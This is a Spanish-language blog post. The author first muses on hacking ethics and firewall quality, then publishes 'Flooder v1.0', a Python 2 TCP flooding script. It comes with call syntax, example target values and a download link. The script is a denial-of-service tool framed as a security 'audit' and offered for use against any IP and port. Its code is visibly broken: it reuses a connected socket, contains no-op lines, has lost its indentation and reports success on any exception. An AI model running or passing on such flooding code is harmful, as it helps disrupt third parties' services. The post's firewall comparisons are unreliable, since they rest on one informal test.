Hace un tiempo, cuando recién comenzaba con la programación de sockets en python, dejé en un foro un código que se suponía que saturaba una dirección IP y un puerto de dicha dirección. El mismo nunca funcionó, y al poco tiempo desistí de corregirlo por una cuestión de tiempo (por aquel entonces recién me se perfilaba la idea de lo que ahora es el proyecto Spartan CP666Scanner -http://spartan.ale666.com/Index.html-).
Esta mañana, vi el código fuente y pensé, ¿que utilidad puede tener?. Aca debemos hacer un parantesis sobre algo personal mio. He dedicado mucho tiempo escribiendo acerca de la ética del hacking, de si es ético o no hacer públicos códigos fuente de flooder´s y DoS program´s, y de pronto me di cuenta que yo mismo no cumplía con mi propia ética. Así, se dio una suerte de replanteamiento en cuanto a lo que considero ético o no, y en que momento un script de este tipo pasa de ser ético, a no serlo. Así, siguiendo la filosofía de Joanna Rutkowska (y muchos otros), hacer programas que desmuestren la vulnerabilidad de los sistemas, y las malas medidas de seguridad, es algo muy aceptable, es mas,
entra en el caracter de servicio para el administrador de dicho sistema (¿Que es preferible, que los errores los encuentre un auditor de seguridad o un entusiasta de la seguridad informática?, ¿o que en su defecto lo haga un criminal hacker?). Así, me parece totalmen ético realizar acciones que pongan de manifiesto la inseguridad dentro de los sistemas informáticos, como así también la eficiencia de las compañías que diseñan el software a la hora de corregir dichos errores, o fallas de de seguridad.
Así, partiendo desde esta nueva mirada ideológica, re hice aquel código que había abandonado tiempo atrás, e hice mi primer auditoría de seguridad con el mismo, comprobando tres cosas. La primera, la version no profesional del Zone Alarm, no sirve de nada. Su filtrado de conexiones se limita solo a ver si autorizamos, o no un programa, dejando a los mismos al libre "albedrío". La segunda, los sockets creados a partir de NetCat tienen mejor filtrado de paquetes que ZoneAlarm, cerrando el socket bajo ataque flooding al recibir 1139886 bytes (a todo esto ZoneAlarm ni enterado de lo que acontecía). Y la tercera, hay soluciones mucho mas efectivas a la hora de elegir la seguridad, que aquellas que nos ofrecen las grandes compañias de software. Sin ir mas lejos, el sencillo bloqueador de puertos "AnalogX PortBlocker" de AnalogX (www.analogx.com), que cerró la conexión sin dar paso a que se iniciara el ataque flooding. ¿Conclusión?, actualmente se cuenta con mejores herramientas no pagas (no en todos los casos), que las que pueden ofrecernos grandes gigantes como Symantec, Panda Labs, KasperSky, McAfee, etc, y deja en clara evidencia que las medidas de las compañías no siempre apuntan a solucionar el problema, si no a perpetuar el mercado.
Flooder v 1.0
A continuacion esta el codigo del auditor de capacidad de respuesta de una aplicacion, firewall (ya sea por software o hardware), o cualquier sistema de filtrado de conexiones ante un ataque de saturacion por paquetes inutiles -flooding atack-.
El código esta en python (hecho con la version 2.5) y dicho programa es necesario, ya que los scripts de python se corren de manera interpretrada a tra vez de la consola interactiva de dicho programa.
Para usarlo, no se necesita conocimientos avanzados, ni nada por el estilo. Solo hay que una dirección IP y puerto objetivo.
La sintaxis es
Flooder(IP, PORT, ATQNUM) debe ser respetada si no su funcionamient se verá alterado, con probables errores. Así, deberemos introducir tres datos:
IP = La dirección IP objetivo a auditar. Ej: 127.0.0.1.
PORT = El puerto de la aplicacion que se va a auditar. Ej: 80.
ATQNUM = El numero de veces que vamos a mandar el paquete "basura". Ej: 1.000.000.
Otras cuestiones a tener en cuenta, son que este programa solo funciona sobre aplicaciones que corren bajo el protocolo TCP. Además no soporta varias direcciones, ni varios puertos, es decir el input o valor de entrada de la sintaxis solo admite una direccion IP y un puerto.
import socket
import sys
def Flooder(IP, PORT, ATQNUM):
obj = ATAQUE(IP, PORT, ATQNUM)
obj.flood()
class ATAQUE:
def __init__(self, datIP, datPORT, datNUMATQ):
self.IP = datIP
self.PORT = datPORT
self.NUMATQ = datNUMATQ
def flood(self):
socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
basura = ':@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@:@' * 9999
x = 1
IP = self.IP
try:
while x == 1:
for i in range(1, self.NUMATQ):
socket1.connect((IP, self.PORT))
socket1.send(basura)
if self.NUMATQ == i:
X+1
else:
pass
print "Ataque finalizado"
sys.exit()
except:
print "El puerto %i de la dirección IP:%s, ha sido floodeado" % (self.PORT, self.IP)
sys.exit
Nota: El código debe guardar en un archivo *.py abrilo en el IDLE (de ser posible), ejecutarlo y luego insertar en la consola interactiva la sintaxis. No se olviden de tabular correctamente el código. Si no, pueden descarse el archivo .py ya creado desde aca: http://www.ale666.com/Foro/index.php?action=dlattach;topic=1690.0;attach=598